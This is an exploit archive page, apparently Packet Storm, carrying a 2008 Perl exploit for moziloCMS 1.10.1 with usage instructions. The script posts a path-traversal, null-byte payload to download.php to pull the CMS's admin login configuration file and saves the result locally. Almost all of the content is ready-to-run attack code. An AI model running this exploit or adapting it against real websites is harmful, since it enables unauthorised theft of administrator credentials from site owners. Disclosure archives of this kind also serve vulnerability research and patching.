what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

mozilocms-download.txt

mozilocms-download.txt
Posted Aug 4, 2008
Authored by Ams

moziloCMS version 1.10.1 arbitrary file download exploit that leverages download.php.

tags | exploit, arbitrary, php
SHA-256 | 206daaa9955c98478f48a7f46fb44aff397e3d22d22be43490f7dafb0e68655f

mozilocms-download.txt

Change Mirror Download
#!/usr/bin/perl
#
# moziloCMS 1.10.1 Perl exploit
#
# discovered & written by Ams
# ax330d [doggy] gmail [dot] com
#
# DESCRIPTION:
# Vulnerability hides in "download.php", which we can use to download any file we want to.
# Here, for example, "admin/conf/logindata.conf". (Btw, not very smart solution to keep it open
# not looking on that it is protected by .htaccess)
# Script does not filters global params, it only checks whether local file exists...
# (By the way, all downloads are logged to "/conf/downloads.conf")
#
# USAGE:
# Run exploit :perl expl.pl http://www.site.com
#
# NEEDED:
# magic_quotes_gpc = off
#

use strict;
use IO::Socket;

print "\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
\n\t\t moziloCMS 1.10.1 exploit (by Ams)
\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";

if(@ARGV<1){
die "\n\tUsage:\texpl.pl [host]\n\n
\n\tExample:\texpl.pl http://localhost/blog/\n\n";
}

my $expl_url = $ARGV[0];

print "\n\t[~] Starting exploit...\n";

if($expl_url =~ m#http://#) {
exploit($expl_url);
} else {
exploit('http://'.$expl_url);
}

sub exploit {

# Defining vars.
my $site = pop @_;
my ($a, $b, $c, @d) = split /\//,$site;
my $path = join('/',@d);
my $host = $c;
if($path) {$path = '/'.$path;}
my ($length, $packet, $downloaded, $injection);

# Revealing /data/sess.php.
print "\n\t[~] Sending request to 'downloads.php'...\n";
$injection = "file=hola&cat=../admin/conf/logindata.conf%00";
$length = length($injection);
$packet = "POST $path/download.php HTTP/1.1\r\n";
$packet .= "Host: $host\r\n";
$packet .= "Connection: Close\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Content-Length: $length\r\n\r\n";
$packet .= "$injection";
$downloaded = send_surprise($host, $packet, 1);

if($downloaded =~ /hackin/) {
print "\n\t[-] Exploiting failed...\n";
} elsif ($downloaded =~ /200 OK/) {
# Parsing and saving received data.
$downloaded =~ /\r\n\r\n/ ;
$downloaded = $';

open(DOWNL, ">hola.txt");
print DOWNL $downloaded;
close(DOWNL);
print "\n\t[+] Looks like ok! Check hola.txt\n";
} else {
print "\n\t[-] Exploiting failed...\n";
}
}

sub send_surprise() {

my $dat = 1;
my ($host, $packet, $ret) = @_;
my $socket=IO::Socket::INET->new(
Proto=>"tcp",
PeerAddr=>$host,
PeerPort=>"80"
);
if( ! $socket) {
return 0;
} else {

print $socket $packet;
if($ret) {
my $rcv;
while($rcv = <$socket>) {
$dat .= $rcv;
}
}
close ($socket);
return $dat;
}
}

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close